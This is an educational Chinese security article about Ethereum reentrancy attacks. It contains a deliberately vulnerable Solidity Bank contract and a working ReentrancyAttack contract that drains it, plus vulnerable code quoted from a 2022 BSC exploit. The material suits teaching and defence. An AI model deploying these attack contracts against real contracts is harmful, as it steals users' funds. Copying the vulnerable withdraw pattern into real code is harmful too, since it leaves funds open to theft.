合约重入攻击概念
在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。重入攻击本质上与编程里的递归调用类似,所以当合约将以太币发送到未知地址时就可能会发生。
漏洞原理概述
合约重入攻击是代码中对用户(attacker)的合约请求进行调用,没有进行二次验证,然后可以使attacker修改合约状态,改变账本.从而实现多重提币操作
简例代码
对于A,B账户
withdraw(){
check balance >0
send Ether
balance=0
}
fallback(){
A.withdrwa()
}
attack(){
A.withdraw()
}
attack()调用A中withdraw() 进行检查 发送
A合约向B合约发送ETH时,出发B合约fallback()函数,那么重新调用取款方法。
因为A合约中balance()函数并没有被执行,所以check balance依然成立,那么会继续send ETH。导致池子被攻击。
示例代码部署以及分析
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
部署:
首先部署一个Bank合约
然后部署ReentrancyAttack合约,ReentrancyAttack合约地址需要填写Bank合约地址.因为Bank于ReentrancyAttack做交互
流程
用默认账户在Bank中存入11个ETH
根据代码中Bank方法,我们可以使用ethBalance和totalDeposit查看流程中的ETH数量,可以看到两个的值都为:0:uint256: 11000000000000000000
默认账户的balance的ETH的数量也为11
然后在ReentrancyAttack合约中doDeposit 1个ETH.会发现ethBalance和totalDeposit中账户ETH数量变为了12
这样对A(Bank)B(ReentrancyAttack)账户就完成了,符合代码条件.
接下来就可以进行重入攻击:
根据代码:
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
可以调用Bank的withdraw函数,进行攻击,会发现Bank的账户变为10ETH,但是ethBalance的值已经变为0了
去查看B(ReentrancyAttack)账户的ETH也为0
但是此时默认账户的balance确还是11
这样就可以发现ReentrancyAttack合约对Bank进行攻击提走了所有ETH
简例代码原理
对Bank代码
contract Bank {
mapping(address => uint256) public balance; //记录账户余额
uint256 public totalDeposit; //记录所有用户在Bank合约存入余额
function ethBalance() external view returns (uint256) {
return address(this).balance; //返回Bank合约真实余额
}
function deposit() external payable {
balance[msg.sender] += msg.value; //用来让用户存入ETH
totalDeposit += msg.value;
}
function withdraw() external { //让用户来提现余额
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
对于ReentrancyAttack
contract ReentrancyAttack {
IBank bank; //记录地址
constructor(address _bank) {
bank = IBank(_bank); //为Bank赋值
}
function doDeposit() external payable {
bank.deposit{value: msg.value}(); //向Bank存入ETH
}
function doWithdraw() external { //从Bank中提现ETH
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
B主要攻击A代码为
function doWithdraw() external { //从Bank中提现ETH
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
从Bank向ReentrancyAttack转账时触发withdraw()再次提现实现
payable(msg.sender).transfer(address(this).balance);
从而继续:msg.sender.call{value: balance[msg.sender]}("");
而A中withdraw()
require(balance[msg.sender] > 0, "Bank: no balance");
会触发B中receive(),再次调用Bank合约中withddraw()方法
balance()方法查看 ReentrancyAttack合约地址创建者,发现合约创建者balance为1ETH,但是合约里已经没有 Ether 可以提供兑付.
由此因为并没有改变A中balance的状态,从而会继续由A向B执行转账ETH交易,然后会再次触发ReentrancyAttack中receive()继续执行循环,直到账户中ETH数量为0.
从而上述流程实现了重入攻击。
历史漏洞攻击实例
2022年10月1号,在ERC721发送重入攻击
问题在 claimReward(). 攻击者可透过重入漏洞来把合约上的资产取走.
发生漏洞的程式片段:
THB_Roulette | Address 0x72e901f1bb2bfa2339326dfb90c5cec911e2ba3c | BscScan
function claimReward(
uint256 _ID,
address payable _player,
uint256 _amount,
bool _rewardStatus,
uint256 _x,
string memory name,
address _add
) external {
require(gameMode);
bool checkValidity = guess(_x, name, _add);
if (checkValidity == true) {
if (winners[_ID][_player] == _amount) {
_player.transfer(_amount * 2);
if (_rewardStatus == true) {
sendReward();
}
delete winners[_ID][_player];
} else {
if (_rewardStatus == true) {
sendRewardDys();
}
}
rewardStatus = false;
}
}
House_Wallet | Address 0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53 | BscScan
function reward(address to,uint256 _mintAmount) external {
uint256 supply = totalSupply();
uint256 rewardSupply = rewardTotal;
require(rewardSupply <= rewardSize,"");
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(to, supply + i);
rewardTotal++;
}
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, data), **//callback**
"ERC721: transfer to non ERC721Receiver implementer"
);
}
参考
Re-Entrancy | Solidity by Example | 0.8.10 (web3dao-cn.github.io)
DeFi Hacks Analysis – 漏洞根本原因分析 (notion.site)
本文作者:S7iter, 转载请注明来自FreeBuf.COM
关 注 有 礼
欢迎关注公众号:网络安全者
1、后台回复:送书666,获取当日送书抽奖码。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...